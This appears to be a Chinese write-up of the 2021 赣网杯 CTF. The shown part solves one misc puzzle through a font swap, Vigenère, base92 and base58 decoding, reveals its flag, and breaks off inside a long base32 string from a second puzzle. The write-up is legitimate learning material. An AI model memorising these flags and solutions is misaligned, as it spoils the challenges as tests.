文章目录

  • 前言
  • Misc
    • Misc1-decodemaster
    • Misc2-lovemath
    • Misc3-testcat
  • Web
    • Web1-checkin
    • Web2-easypop
    • Web3-挖洞大师
  • Crypto
    • Crypto1-signin

前言

如何评价2021赣(dai)网(lian)杯?,我的评价是"神仙打架,凡人遭殃"。

Misc

Misc1-decodemaster

拿到题目打开word文件,发现是一串乱码,字体为Wingdings 2

修改字体,发现字体为黑体(不仅限于黑体,其他字体也可以,比如宋体,等线)的时候可以正常显示

我们可以发现是比较明显的字符替换,尝试使用凯撒密码,词频分析,维吉尼亚去解密密文,经过一个个尝试之后,一个在线维吉尼亚爆破密钥的网站上获取到明文。
在线维吉尼亚解密
爆破得到key:welcometogwb,以及密文

cipher:4%G#n+Wc?tpPU!b!Dv]RBfXx\ZP\n39iI+F;:SY,F!x9(B(3@E_(mwc7F2

进行base92解密得到

3KJ5e1uPn6D6ecMJWG8zkBSWHso39Qs9vfy8HB3VmmuEmVn

进行base58解密得到

flag{You_Are_Really_Decode_Master}

Misc2-lovemath

下载文件,打开得到一串base32密文

LMUDGNZWFQQDGOBUGYZC4MBYGUUSYIBIGQ4DKLBAGQ4TKNZZFY4DSNJJFQQCQMRYFQQDEOJWGQXDGNZXFEWCAKBTHEYCYIBTHE4DQOBOGU3DOKJMEAUDEMRSFQQDEMRXGUZS4MJQHAUSYIBIGM4DQLBAGM4TMOBVFYZDGNJJFQQCQMRUFQQDENJVGYXDGNBWFEWCAKBSGA2CYIBSGA4TCNROGA4DQKJMEAUDINJMEA2DMOJYFY2TSMRJFQQCQOJMEAYTAMRWFYZDKMJJFQQCQNBSHAWCANBTG43DKLRRG43SSLBAFAZTGNBMEAZTIMJXGYXDGNJWFEWCAKBSGA2SYIBSGEYDCOBOGY4DGKJMEAUDEMJYFQQDEMRTGQ2C4MRRFEWCAKBWHEWCANZRGQ3C4MRUGUUSYIBIGM2DOLBAGM2TKMBTFYYTMNRJFQQCQNBXHEWCANBYHE3DOLRSGA4CSLBAFAZDCMZMEAZDCOBTGQXDENBUFEWCAKBSGI3SYIBSGMZDMMROHE2SSLBAFA2DMMBMEA2DOMBSHEXDSOBZFEWCAKBRGE4CYIBRGIYTINBOHAYTSKJMEAUDIOJRFQQDKMBRHEZC4MBTGUUSYIBIGQ2CYIBUGU4TMLRSG4USYIBIGI2DCLBAGI2DMOJQFY3DMOBJFQQCQNBXGYWCANBYGY3DCLRUGU3CSLBAFAYTQLBAGE4TINBOGQYTMKJMEAUDIMRXFQQDIMZWGY2C4MJZG4USYIBIGIYTILBAGIYTSMZWFY4DGOBJFQQCQMRXGQWCAMRYGA2TMLRVHA4CSLBAFAZDOMRMEAZDOOBVGMXDEKK5BJNSQOBVFQQDQMZUHAXDMMRRFEWCAKBTGQ3CYIBTGM3DMNJOGMZDEKJMEAUDCMBRFQQDSOJQGAXDONJJFQQCQMRYGYWCAMRXHA2DKLRTGU4CSLBAFA2DSMBMEA2DONRTGQXDGMZWFEWCAKBSGU3CYIBSGQ4TGNJOGE2TSKJMEAUDIOJZFQQDIOBVGA3S4NZYGMUSYIBIGM4DILBAGM3TGNJSFY2DMNRJFQQCQMZRGQWCAMZQGU3DCLRWGU2SSLBAFA2DOLBAGQ3DMMROGUYTKKJMEAUDENZZFQQDENZRGY3C4NZXGQUSYIBIGQ2DSLBAGQZTMNJWFY3TAMRJFQQCQNBRGUWCANBQGM2TQLRZGQYSSLBAFAZTGNJMEAZTENJZHAXDCNZTFEWCAKBUGQ2SYIBUGMZDMOJOG4ZTQKJMEAUDENJXFQQDENJQGMZS4NBXHEUSYIBIGU3CYIBVGUZTKLRVGMUSYIBIGQ4DILBAGQ3TANJTFYYCSLBAFAZDILBAGI2DGMJOGEZDGKJMEAUDINBXFQQDIMZUGYZS4MZTGIUSYIBIGI2TELBAGI2DKNBXFYZTKKJMEAUDENRZFQQDENRRHE3S4MBXGMUSYIBIGM3TKLBAGM3DINZYFY4DQNJJFQQCQNBWG4WCANBVGQYDILRRGUZSSLBAFAZDSOJMEAZDSMJQGYXDMNRRFEWCAKBUGEYCYIBTHE4DONBOG44DCKJMEAUDCMJRFQQDCMBYG4YC4MRTGIUSYIBIGE3DELBAGE2TQMJXFYZDCMRJFQQCQNBXGMWCANBVHE4DKLRTGQ4CSLBAFA2DEOBMEA2DCNRSGAXDKMRXFFOQUWZIGQ4DELBAGU4TGNRTFY2TSOJJFQQCQNBZGMWCANRQG4YTOLRWGEZCSLBAFAZDIMRMEAZDSOBUGIXDQMZWFEWCAKBUGAZSYIBUHE3DINJOGQ4TIKJMEAUDENJXFQQDGMJWHA3S4OBYGQUSYIBIGQYTQLBAGUYTIOJQFY3DKOJJFQQCQMZYGIWCANBXGA3DELRXHE2SSLBAFAYTOMRMEAZDCMRTGIXDKOJUFEWCAKBUGA4SYIBVGAZTQMZOGUZTOKJMEAUDGNZMEA2DMMRXFY2DCMJJFQQCQMJRGMWCAMJTHE3TKLRWGIZCSLBAFAZDQMZMEAZTIOBYGYXDKMBSFEWCAKBWGIWCANZXGAZC4MZWGMUSYIBIGQZTQLBAGUZTSNJRFYZDSNJJFQQCQOJVFQQDCMJXGYYS4MJUHAUSYIBIGE3DILBAGIYDENBYFYZDCNBJFQQCQMRXGAWCAMZTGI4DOLRRGIZSSLBAFA3DALBAG42DKNROGM3DKKJMEAUDQOJMEAYTCMBSGMXDMOBJFQQCQMJWGUWCAMRQGM3TCLRUGA2SSLBAFAZDEMRMEAZDOMZYGIXDAOBWFEWCAKBUGE3CYIBVGEZDINBOGA4TSKJMEAUDIMZTFQQDKMZTGM2S4NRUGYUSYIBIGQZDELBAGUYTSOBTFY3DQMZJFQQCQMRZFQQDGNRUGMXDEOJSFEWCAKBUGY3CYIBVG4ZTSNJOGA4DMKJMEAUDCMBZFQQDCMZUHAZS4MRQHAUSYIBIGIYDALBAGI2DMNZXFYYDONJJFQQCQMZXGEWCANBVG4YTALRXGEZCSLBAFAZTENJMEA2DAMBVGIXDKMJJLUFFWKBSGE2CYIBRGA2TSNROGUYDCKJMEAUDGMZYFQQDCNRWG4ZC4OBRG4USYIBIGM4DGLBAGE4DQNZYFY4TSNRJFQQCQMJZHAWCAOJYGEZS4MJRG4USYIBIGE2DSLBAG42DCMJOGE4CSLBAFA2DGOJMEAZDCNRSGEXDCMZZFEWCAKBRGIWCANRZHAXDENZUFEWCAKBTGAWCAMJVHAYC4MJQHEUSYIBIGQZDKLBAGIYDSMZVFYZTGMZJFQQCQMZXGIWCAMJYGMZTQLRYGY4SSLBAFA2TELBAGI3DKOBOGM2TGKJMEAUDEOBSFQQDCMZZGI4C4NJRGQUSYIBIGQZDCLBAGIYDONBQFY4TAOBJFQQCQMRUGIWCAMJRHE3DQLRTHAYSSLBAFAZDEMZMEAYTCMBTG4XDKMJZFEWCAKBUGYWCAMRTGY2C4MZWGEUSYIBIGMYTILBAGE2TIOJXFY2DIOBJFQQCQMRSGUWCAMJRGEZTKLRWGIUSYIBIGIYTALBAGEYDIMBQFY4TENZJFQQCQMJWHAWCAOBTGQZC4NJUGQUSYIBIGEYDILBAGUZDANROGYYDOKJMEAUDCNZVFQQDQNRYGUXDENRJFQQCQNBTG4WCAMRRGUZDGLRUG44CSLBAFA2TKLBAGI4DANJOGMYTCKJMEAUDIMJZFQQDEMBWGQZC4OJTGYUSYIBIG44SYIBTHE4DCLRRGEUSYIBIGQ3TGLBAGIZTEOBXFYZTKOJJFQQCQMRQG4WCAMJQGI2TGLRZGUZSSLBAFAZTOOJMEAYTQNRYGIXDCMJUFEWCAKBUHE4CYIBSGQ2TCMROGY4TSKK5BJNSQNBUGQWCAMRSGY4TOLRUHA2CSLBAFAZDAMJMEAYTAMZQGMXDSNRVFEWCAKBUGQZCYIBSGI2TSNBOHE4DKKJMEAUDENRYFQQDCMZXGIYC4NBWGMUSYIBIGIYTKLBAGEYTAMJYFYZTKOBJFQQCQNRUFQQDGMZRGYXDCMZWFEWCAKBZHEWCANJRGAYS4NJSG4USYIBIGEYTOLBAGYYDCOJOGQ3TMKJMEAUDIMRMEAZDCOJUFYZSSLBAFAZDGNJMEAYTEMBTG4XDGMZRFEWCAKBUGQ3SYIBSGI4DKMBOHE2TIKJMEAUDIOJRFQQDENJQHEZS4MRQGYUSYIBIGQYDALBAGIYDINJSFY3DSOJJFQQCQNBQHEWCAMRQHEYTCLRVGI3SSLBAFAZTAMZMEAYTKNJQGUXDKNJVFEWCAKBUGMYCYIBSGE4TQMZOGA2TGKJMEAUDCNRWFQQDQNJRHAXDIMZSFEWCAKBZGEWCANBWHEZS4MZRFEWCAKBRHE3SYIBRGAYDSOJOG43TEKJMEAUDCNBXFQQDONJUHEXDKMZZFEWCAKBRGE2SYIBVHEYTOLRVGI4CSLBAFAZTSMBMEAYTSOJUGIXDKNZJFQQCQMZZGYWCAMRQGI2TALRRGUUSYIBIGM4DMLBAGE4TOMZZFYZDQNJJFQQCQMJUGQWCANZTHE3C4NZVHAUSYIBIGE4DKLBAHE2DQOBOGA3TIKJMEAUDGMBYFQQDCNJXGYYS4MBXHEUSYIBIGI4TSLBAGE2TGMBRFYYTQMZJFQQCQNBVGMWCAMRTGE2TMLRYGY4SSLBAFAZTENRMEAYTMNRXHAXDIMZTFFOQUWZIGE2TOLBAGE3TSOJUFYYDEOJJFQQCQNBWGYWCANJTGIYTSLRXGEZSSLBAFAZDSOBMEAZTIMBWG4XDQNZWFEWCAKBTGM3CYIBTHA2DAMBOGE3TMKJMEAUDIMBUFQQDINRRGUZC4MJRGQUSYIBIGM2SYIBUGA4DKLRSGQ4SSLBAFAZTOMBMEA2DEMRXG4XDCMZJFQQCQNZUFQQDQNJTGEXDAOJZFEWCAKBTHAWCANBUGI3S4NBVHEUSYIBIGM2TMLBAGQYDMOBQFY4TAMRJFQQCQNBWGEWCANJSGY2DSLRVGQ4CSLBAFAYTAMZMEAYTCOBTG4XDGNJRFEWCAKBSHA3SYIBTGI4DCNBOGAYTCKJMEAUDCNJTFQQDCNZVGM3S4MJUG4USYIBIGEYDKLBAGEZDANRVFYZDENZJFQQCQMJWGUWCAMJYHEYDKLRYGMYSSLBAFAZTQMZMEA2DGNZVHAXDANRUFEWCAKBRGQWCAMJWHEYS4MRXG4USYIBIGE2DSLBAGE3TAOBRFY4DSOJJFQQCQNBYFQQDKNJWG4XDCMZVFEWCAKBWGAWCANRZGM2S4MZRG4USYIBIGE4DGLBAGIYDSNJYFYYDKMZJFQQCQNBSGUWCANBYGU2DMLRVGUZSSLBAFAYTENBMEAYTIMRTGEXDGMBZFEWCAKBRGU2CYIBRG43DKMJOGMYTKKJMEAUDGMBVFQQDGNBYGY2S4MBXG4USYIBIGIZDKLBAGI2TONBVFY3TSOBJFQQCQMRSFQQDENRQGMXDIMZWFEWCAKBSGYYCYIBSHE3TGNJOG43TSKJMEAUDENRYFQQDGMBWGQ4C4NBZGEUV2CS3FAZTKLBAGI4TEMJOGE4TGKJMEAUDONBMEA3DCMJZFY3DCNJJFQQCQMZWGYWCAMZQGA3DGLRYGUYSSLBAFA4DILBAGY4TGOJOGYYTCKJMEAUDINBVFQQDGNRVGQYS4NRUGQUSYIBIGI3DMLBAGIYTQNRUFY2TGNZJFQQCQNBUFQQDGNRVHEXDEMZJFQQCQMRRFQQDCNZXGMXDEMBTFEWCAKBSHAYSYIBSGMYDSNBOGM4TIKJMEAUDINBWFQQDGNRWGI2S4MJJFQQCQMJTGQWCAMJRGAZTSLRVHE4SSLBAFAZDENBMEAYTQNBRHEXDKOJXFEWCAKBRGI2SYIBRGAZTAMJOGI3TEKJMEAUDCOBXFQQDCNJTHA3C4MBZGIUSYIBIGI3SYIBSGI3DKLRRGQ2CSLBAFAZTQNBMEAZTCNJUGAXDOMJVFEWCAKBTGEZCYIBSGU3DGNROHA3TKKJMEAUDQMJMEA3DMOJTFY2DANBJFQQCQMRVGYWCAMRRGA2DGLRZGE2SSLBAFAZDOMRMEAZDEMZVGUXDGOBWFEWCAKBUGEZSYIBTGM4TCNZOGMZSSLBAFA2DMNRMEAZTQMRWGMXDENRSFEWCAKBRGAWCAOBXGEXDCNJJFQQCQMZSGIWCAMRWGQ2TKLRSGU2CSLBAFA2DSMJMEA2DAMZRGQXDAMJYFEWCAKBSHA2SYIBSGM2DEMROGIZTKKJMEAUDEOJZFQQDENBVGY4S4MZQGQUSYIBIGMYTILBAGI2TOOJZFY4TAMZJFQQCQNBXGIWCAMZYG42TMLRZGIYSSLBAFAZDANZMEAYTOMBSGUXDCMJZFFOQUWZIGE4CYIBRHEYDSLRQHEUSYIBIGQZDGLBAGQZTMMRWFYYTSNZJFQQCQNBUGMWCANBVGY4DMLRUGI4CSLBAFA2DGNBMEA2DINZVHEXDCNBYFEWCAKBSGI3SYIBSGM2DGNROG4YTMKJMEAUDCMRZFQQDCMZTGQZC4OJRGQUSYIBIGYWCANRXGMXDANJRFEWCAKBTGAWCAMZRGQ2S4MZYGIUSYIBIGE4DELBAGE4DQMBRFY4TAOJJFQQCQNJTFQQDKNJRGQXDGOJVFEWCAKBTHAWCAMZZGY4S4MZWGIUSYIBIGMYDMLBAGMYTKNZTFY4TOMJJFQQCQNBUHEWCANBWGMYDGLRSG4USYIBIGM2DELBAGM2TEOBRFY3DKNZJFQQCQMRQHAWCAMRRGQ3TSLRRGA3CSLBAFA2TQLBAGYYDEOJOGQ4TIKJMEAUDIMRWFQQDIMZZGMZS4MRQGMUSYIBIGMYSYIBTGI2DQLRSHA3CSLBAFA2DKNJMEA2DMOJSGEXDENRVFEWCAKBUGYWCANBXHEZS4MZXFEWCAKBWG4WCANRZGU3C4NJTGQUSYIBIGQZTMLBAGQ2DSNRUFY3DOMJJFQQCQMZVGIWCAMZWGMYTCLRRGE2SSLBAFAZTSLBAGQYDOMROGMZTEKJMEAUDIOBSFQQDIOJXGAZS4MZXHAUSYIBIGM3CYIBTG43DGLRSGA4CSLBAFA2DSMBMEA2TANJSGUXDONZVFEWCAKBUGA2CYIBUGE3DMNZOGUYTGKJMEAUDIMJRFQQDIMRTHA4S4NZSFEWCAKBYG4WCAOJQGE3C4MJSGQUV2CS3FA2DMNRMEA2DOMJRHEXDGNJXFEWCAKBSGM4CYIBSGQYDSMJOHE4SSLBAFAZTOOBMEAZTQMRTGEXDIMRVFEWCAKBTHE3SYIBUGAYTKMJOGY3DIKJMEAUDMMRMEA3DGMJVFYZTMMJJFQQCQMJWFQQDCNRWHEXDINBTFEWCAKBUHE2SYIBVGAYDIOBOGI2TKKJMEAUDENBYFQQDENJRGAYS4MZRGQUSYIBIHE3SYIBZHA2TALRUGE4CSLBAFA2DSNRMEA2TAMJUHEXDIOBWFEWCAKBSGUYCYIBSGUZTAMZOG43TGKJMEAUDENJUFQQDENJXGA4C4MJWGIUSYIBIGE2TCLBAGE2TGMBUFY2DONRJFQQCQMRZHAWCAMZQGE2TCLRUHEUSYIBIGM4SYIBTHE4TELRTGU4SSLBAFAZTAMJMEAZTANBVGUXDCMZRFEWCAKBUHA3SYIBUHEZDIMBOGY3TIKJMEAUDCMZXFQQDCMZYHEYC4NRRGQUSYIBIGE3TALBAGE3TEMRTFY3TANBJFQQCQMJSFQQDCMRWGUXDCMRZFEWCAKBTGA3CYIBTGA4TKOJOHE4DIKJMEAUDGMRUFQQDGMRXG43S4MRXGUUSYIBIGM2TILBAGM2TQMBYFYYTCOBJFQQCQMRVHEWCAMRWGIYTGLRVHE4SSLBAFA3DCLBAGYZDCNBOGA3DIKJMEAUDGMJVFQQDGMJYGY4S4NJXGQUSYIBIGQYTSLBAGQZDGNZTFY3TOOJJFQQCQMZWFQQDGNRYHEXDCNZSFEWCAKBVGYWCANJXGA4S4NBUGEUSYIBIGM2DOLBAGM2TCMBRFY2TOKK5BJNSQMJSHAWCAMJQGY3TGLRXGA3CSLBAFA2DCMBMEAZTIMBYGAXDCMJTFEWCAKBUGAYCYIBTGMZDKMBOGEYDSKJMEAUDIOJVFQQDIMJRGM2C4MZQGMUSYIBIGEYDELBAHA2TCNJOGIYTMKJMEAUDGOBYFQQDGMRSGUZS4NJXGUUSYIBIGQZDCLBAGM2DSOJSFYZTQNBJFQQCQMJSGYWCAMJQGUYDOLRWGEZCSLBAFA2DIOBMEAZTOMRTGMXDIMBSFEWCAKBSGMYCYIBRHEYTGOJOGY3DOKJMEAUDIMZSFQQDGNJZGA2S4NRVGYUSYIBIGM2DGLBAGI4DKMJZFY4DCOJJFQQCQMRSGQWCAMJYGY2DCLRUGM4SSLBAFAYTMLBAGEZTONZOGA3TQKJMEAUDOMBMEA2TQNJZFYZDKNBJFQQCQMJYHAWCAMJVGY2TGLRWHAUSYIBIGQYSYIBTGQ2TELRSGE3CSLBAFAZDMMRMEAZDCNZZGUXDSOBRFEWCAKBUGUZCYIBTG42TMNJOGYZDSKJMEAUDIOJWFQQDIMJSGE4C4OJXGQUSYIBIGQ4CYIBUGAZTGLRTGA4SSLBAFAYTSLBAGE3DENROGQ2TGKJMEAUDCNZZFQQDCNBZGA3C4NRVHAUSYIBIGQ4TALBAGQYDOMRQFY3DAMRJFQQCQMRZGMWCAMRUGM3DQLRYGQ4CSLBAFAYTOLBAGE2DMMBOGMYTOKJMEAUDGMJVFQQDENRRHE2S4MRZHEUSYIBIGM2TCLBAGI4TCOBSFY3DCMRJFQQCQMRRHEWCAMJYGIZDMLRYGQ2CSLBAFAYTSMRMEAYTKOJYGUXDIMBRFFOQUWZIGM3DMLBAGE3TMNZZFY4TSMZJFQQCQMZRGEWCAMJVGAZTSLRWG4ZCSLBAFAYTINBMEA3TAMRSFY2TQNZJFQQCQNJWFQQDENZZHAXDCNZXFEWCAKBUGAWCAMRQGMYC4MZSFEWCAKBYGYWCANBSGM4C4NRXG4USYIBIGM4TGLBAGE4DSNZUFY4DCNBJFQQCQNBQHEWCAMJZG42DELRYGI4CSLBAFAZDMNRMEAYTEOBXHAXDINRUFEWCAKBVGMWCAMRWGU2C4MJWHEUSYIBIGM2TMLBAGE3TCOJZFYYTQKJMEAUDEMZTFQQDCMJSHE2C4NRUFEWCAKBXGAWCAMZUG4YC4NJRGEUSYIBIHA4SYIBUGM4DELRTGYZSSLBAFA4DALBAGM4TKMBOG4YDKKJMEAUDGNZYFQQDCOBSGU2S4MRTG4USYIBIGEZTSLBAGY3TQMROG4YDOKJMEAUDCMRQFQQDKOBXGAXDKOJWFEWCAKBTGEWCAMJVHE4C4MJTGQUSYIBIGQ4TELBAGIZTOMRYFY3DGOBJFQQCQNBVGMWCAMRRHA2TMLRWGM3SSLBAFAZDCMBMEAYTAMJZGAXDCNJRFEWCAKBUG4WCAMRTGY3C4NBQGMUSYIBIGMYDMLBAGE2DOOJYFY3TQNJJFQQCQMRTGUWCAMJRGM4TALRXGIYSSLBAFAZDELBAGEYTMNROGEYTEKJMEAUDINZRFQQDEMRXGE4S4NBRGUUSYIBIGEYDQLBAGUZDSNBOGUYDEKJMEAUDIMJTFQQDCOJZGM3C4MBSGUUSYIBIGMZDSLBAGE2TSMBTFYYTAMZJLUFFWKBUGAYCYIBTHAYDMNJOGYYTGKJMEAUDIMBWFQQDGOBWGM2S4OJSGEUSYIBIGQZDMLBAGQYDKMZWFY2DKMRJFQQCQMRSHAWCAMRRG4ZDKLRTGAZSSLBAFA2DQNBMEA2DMMBUGYXDGOJVFEWCAKBSHE3SYIBSHAZDQMBOGU2DQKJMEAUDCNZWFQQDCNRXHA3C4MBUGYUSYIBIGMYTMLBAGMYDAOBVFY4DEMJJFQQCQMZVFQQDGMZZGAXDGOBUFEWCAKBTGE2SYIBSHE4TSMBOHE2CSLBAFA2DEMJMEA2DAMBWGAXDMNJYFEWCAKBUGQ4CYIBUGI3DENZOGAZDSKJMEAUDGOJWFQQDGNZWHA2S4MJZGEUSYIBIGQ2TQLBAGQZTKNZVFY4DCOBJFQQCQMZWGYWCAMZUHAZTMLRVHE2CSLBAFA2DONBMEA2DKMBZGUXDGMRUFEWCAKBUG43CYIBUGUZDQNZOGAYTOKJMEAUDGNRMEAZTIOBVFYZDINJJFQQCQNBXGMWCANBVGAYDALRUGUUSYIBIGIZCYIBSGE2TKLRUGEYSSLBAFA2DAOJMEAZTQOJSGAXDQMBUFEWCAKBTGYZCYIBTGQ2DKNJOGYZDOKJMEAUDCOJWFQQDCOBWHA2S4OJVGMUSYIBIGQ2TALBAGQZDQMJWFY2DEKJMEAUDQNRMEA4DEMZVFYZDMMZJFQQCQMRWGYWCAMRVGMZTKLRUGUZCSLBAFA2DENZMEA2DANRTGEXDINJZFEWCAKBUGIZSYIBUGAZDKMROGI2TIKJMEAUDCMJVFQQDCMBZHEYC4NJUHEUSYIBIGE4DALBAGE3TCNRVFY4DMOBJLUFFWKBTHE4SYIBTG44TONZOGAZDSKJMEAUDCNBRFQQDCMZUGY3S4MBVGYUSYIBIGQ4TCLBAGQ3DOMJWFY2DGNJJFQQCQMRTGYWCAMRSGQ4TCLRYG4ZSSLBAFA2DCNJMEAZTSNBZG4XDIMZYFEWCAKBSGM4SYIBSGI3TONROGEZDMKJMEAUDGNZYFQQDGNJZHAYS4OJVGMUSYIBIGQYDILBAGM4DINJSFYYTQNJJFQQCQMRQFQQDCOJXGEXDGMZTFEWCAKBTHEZCYIBTG4ZTCMROGE3TCKJMEAUDGNBYFQQDGMZRGMYS4NZQGUUSYIBIGY4CYIBWGUZTCLRVGIYSSLBAFAYTCNRMEAYTCMBZGEXDMOBXFEWCAKBSGQWCAMRTGUYS4MZXHAUSYIBIGM3TOLBAGM2TQOBWFY3TKMZJFQQCQMZVGIWCAMZTGUYTCLRSGY2SSLBAFAYTQNRMEAYTONZUGEXDIMBYFEWCAKBWGQWCANRRGUYS4MRXFEWCAKBSGM4CYIBSGI3DQMJOGMYDQKJMEAUDCNJWFQQDCNBYHEYS4NRUGUUSYIBIG43SYIBXGM4DMLRVGEUSYIBIGI3DILBAGI2TCNJRFYYTSMRJFQQCQMZRGEWCAMRZGYYTMLRYGMZSSLBAFA2DQMJMEA2DKNZWGYXDQNZXFEWCAKBSGI4SYIBSGE4DENROGEYTEKJMEAUDCMRUFQQDCMJYGUYS4NBVGQUSYIBIGIYDILBAGE4TINJSFYYDINRJFQQCQNZUFQQDOMJQGEXDIMBYFEWCAKBRGAYSYIBZGY3DMLRVG4ZSSLBAFAZDGLBAGIZDKNROGQ2DEKK5BJNSQNBWGIWCAMRSGI2TKLRVGY3SSLBAFA2DANBMEAYTSNBXGIXDSOBVFEWCAKBRGQ4CYIBXGE4DGLRXGMYSSLBAFAYTCNRMEA2TMNBXFYZTQNJJFQQCQNJUFQQDENRXGEXDGNJUFEWCAKBRGI4SYIBWGI3TCLRWGQZSSLBAFAZTSNRMEAYTSMBYHEXDAOJSFEWCAKBRGA2CYIBVGA3TCLRTGY2SSLBAFAZTKMJMEAYTMOJSHAXDKMBZFEWCAKBSGYZSYIBRGI3TANBOGQ4DQKJMEAUDEMZRFQQDCMJRGY3S4NRRGYUSYIBIGIYDGLBAHE4DENBOGI2DEKJMEAUDIMZTFQQDEMBYGY2S4MRUFEWCAKBTHAYCYIBRHAZTCOJOHA2DOKJMEAUDCOJMEA4TSMJOGMZTGKJMEAUDCNZQFQQDQMRTHEXDIMZYFEWCAKBWGEWCAMZQGA3S4MJYGMUSYIBIG43SYIBTG43TKLRTGQYSSLBAFAYTSMZMEA4TGNBTFY3TSNRJFQQCQMJWGAWCANZXGU4S4OBRHEUSYIBIGEYTGLBAGU2TAMZOHA2SSLBAFA2DKOJMEAZDEMJRGMXDCOJVFEWCAKBUG4ZCYIBSGI3TGNJOHE4DKKJMEAUDIOJXFQQDEMZZGM3S4MZVGQUSYIBIGEZDCLBAGU4DQNZOGU4DSKJMEAUDGNBWFQQDCNRWHA3S4OJVG4USYIBIGMZTELBAGE3DAMJWFYYDSMJJFQQCQNBWGEWCAMRSGIYDOLRTG42CSLBAFAYTINJMEA3TAMZZFY3DOKJMEAUDCMBRFQQDIOJSG4XDKMRWFFOQUWZIGM2TMLBAGM2TMOJVFY3TQMJJFQQCQMZSGMWCAMZSGM4TMLRTGEZCSLBAFA4TSLBAHE4TSNJOGYZTMKJMEAUDENZUFQQDENZUHE2S4NZXGYUSYIBIGI4DILBAGI4DIOJVFY2DENBJFQQCQMZXFQQDGNZZGUXDEOJSFEWCAKBRGE2CYIBRGE2DSNJOG43TEKJMEAUDGOBRFQQDGOBRHE2S4MRVGQUSYIBIGQYTKLBAGQYTKOJVFY3TOMZJFQQCQNBVFQQDINJZGUXDENZYFEWCAKBSGA2SYIBSGA2TSNROGIZTIKJMEAUDIMJYFQQDIMJYHE3C4NZUHEUSYIBIGI4DELBAGI4DEOJWFYYTMNRJFQQCQMRSHAWCAMRSHA4TMLRSGE2CSLBAFAZTGOBMEAZTGOBZGYXDCMRXFEWCAKBYGQWCAOBUHE2S4MZVGUUSYIBIGIZTOLBAGIZTOOJVFYZDEMRJFQQCQNBRGQWCANBRGQ4TKLRTGM2SSLBAFAZDINZMEAZDINZZGUXDGOBVFEWCAKBRGMZSYIBRGMZTSNJOGU4SSLBAFAYTONZMEAYTONZZGUXDSMRRFEWCAKBUHAYSYIBUHAYTSNJOGU4DOKJMEAUDGOJZFQQDGOJZHE2S4MZSHAUSYIBIGQZTKLBAGQZTKOJVFY4TOMZJFQQCQNBXGYWCANBXGY4TMLRTGAZCSLBAFAZTINZMEAZTINZZG4XDAOJRFEWCAKBXGUWCANZVHE2S4NZSFEWCAKBSGI2CYIBSGI2DSNJOGUYDEKJMEAUDIMBSFQQDIMBSHE3C4MRXGIUSYIBIGEZTSLBAGEZTSOJVFYZDQKK5BJNSQMZTGQWCAMRYGE3DCLRQGI2SSLBAFA3TILBAGYZTEMBOGI3TEKJMEAUDENBUFQQDEMBWGAYC4OBUGIUSYIBIHE2CYIBYGAYDALRXGA3CSLBAFAYTONBMEAYTINZSGAXDKOBXFEWCAKBZHEWCAOBUGIYC4MJQGQUSYIBIGQ4DILBAGQYDONRRFY2TGMJJFQQCQNBZGMWCANBRGUYTOLRYGY4SSLBAFA2DINZMEAZTONRVGIXDONRVFEWCAKBUHEWCANBSGIYC4NBRGIUSYIBIGQ4TSLBAGQZDAMRRFYZDIMJJFQQCQMRZHAWCAMRVGEZTOLRYGEUSYIBIG44SYIBWG42DALRTGYZCSLBAFAYTMOJMEAYTIMZQGEXDAMJVFEWCAKBUGM4SYIBTGY4TQMJOHEZTGKJMEAUDEMJWFQQDCOBSGQ4S4MJUGEUSYIBIGQ3TMLBAGQYDAOJQFYZDINZJFQQCQNBWGIWCAMZYHEYTGLRQGE2SSLBAFA2DCMZMEAZTINZZHAXDEMBUFEWCAKBUHAYCYIBUGA2DENBOGM2DEKJMEAUDIOJRFQQDIMJTGQ4S4MBVGUUSYIBIGE2TALBAGEZDOMBUFY3DIOBJFQQCQNBTGMWCAMZWGQ3TOLRTGI3CSLBAFAYTGLBAGEYTSNROGI3TEKJMEAUDIMBQFQQDGMZXGA2S4MZUGYUSYIBIGEYTILBAHE3DQMBOGU2TMKJMEAUDCMRXFQQDCMBXG4ZC4NBXGQUSYIBIGYZCYIBVGMYTELRRGQZSSLBAFAZDSNJMEAZDIOBYGQXDINRTFEWCAKBSGMYCYIBRHE2DENJOGI3TIKK5BJNSQOJVFQQDINZWGUXDEOJTFEWCAKBRGM4CYIBWHA3TELRUGMZCSLBAFA2DGMZMEAZDCMZSHAXDAMRYFEWCAKBUGMZCYIBSGEZDQMBOGE4DSKJMEAUDIMJYFQQDEMBVHEZC4NRUGIUSYIBIGM2DILBAGE3DSNRXFY3DAMJJFQQCQNRMEA2DANBOGAZTOKJMEAUDEOBQFQQDCMZYGMYC4NJWGYUSYIBIGE3TKLBAHA3DQNJOGYYDIKJMEAUDCMBXFQQDKMZVGMXDGOBVFEWCAKBUHA3SYIBSGM4TONJOGQ3TEKJMEAUDGMJRFQQDCNJTGQ4S4OBUG4USYIBIGQ3TGLBAGIZTEOBYFY4TAMRJFQQCQMJTG4WCANRYGIZS4NJTGEUSYIBIGQZDOLBAGIYTAMZTFYZTONJJFQQCQMJYGEWCAOBZHAYC4MJZGYUSYIBIGQ2TGLBAGIZDGMBYFY4DSMRJFQQCQNBRGEWCAMRQGI2DSLRTGQ2CSLBAFAZTEOBMEAYTMMJYGMXDQOJRFEWCAKBUGYZCYIBSGI3TKMBOGEYTGKJMEAUDIMBXFQQDEMBQGU2C4NZZGEUSYIBIGQ4DALBAGIZTMMZQFYZTEOBJFQQCQMZRFQQDCNRSHEXDENRJFQQCQMRWFQQDCMZYGQXDCNRVFEWCAKBRG4YCYIBYGQ2DALRYGM3CSLBAFAYTMMBMEA3TSNJQFY4DGKJMEAUDKOBMEAZDSNJSFYYTONRJFQQCQNBVGEWCAMRSGIYTALRSHAYSSLBAFA2DGLBAGIZDCNZOGQYTMKJMEAUDENJYFQQDCMRXGUZC4MJUGIUV2CS3FAZTKMZMEAZTMNBYGUXDEMBUFEWCAKBTGA2SYIBTGE2TIMBOG44DCKJMEAUDCMJXFQQDCMRRG43C4MBVGQUSYIBIGEZTALBAGEZTKMJVFYZTIOBJFQQCQMRVFQQDENZQGAXDEOJSFEWCAKBRGIYCYIBRGI2DQNJOHAYTSKJMEAUDIMZWFQQDINJQGM2S4MZUG4USYIBIGI2TILBAGI3DEOBXFY4TOOJJFQQCQMJWHAWCAMJXGQZDSLRTHEYSSLBAFA2DQNBMEA2DSOJXHEXDEOJVFEWCAKBSHAZSYIBSHEZDONBOHA3TQKJMEAUDCMJSFQQDCMJWGYYS4NJRGUUSYIBIGI4DKLBAGI4TIOBQFY2TGNBJFQQCQMJXGMWCAMJXHE2DILRWGY4SSLBAFAYTQOBMEAYTSNBYHEXDMMBXFEWCAKBTG4YSYIBTHAZTGOJOGQYTMKJMEAUDC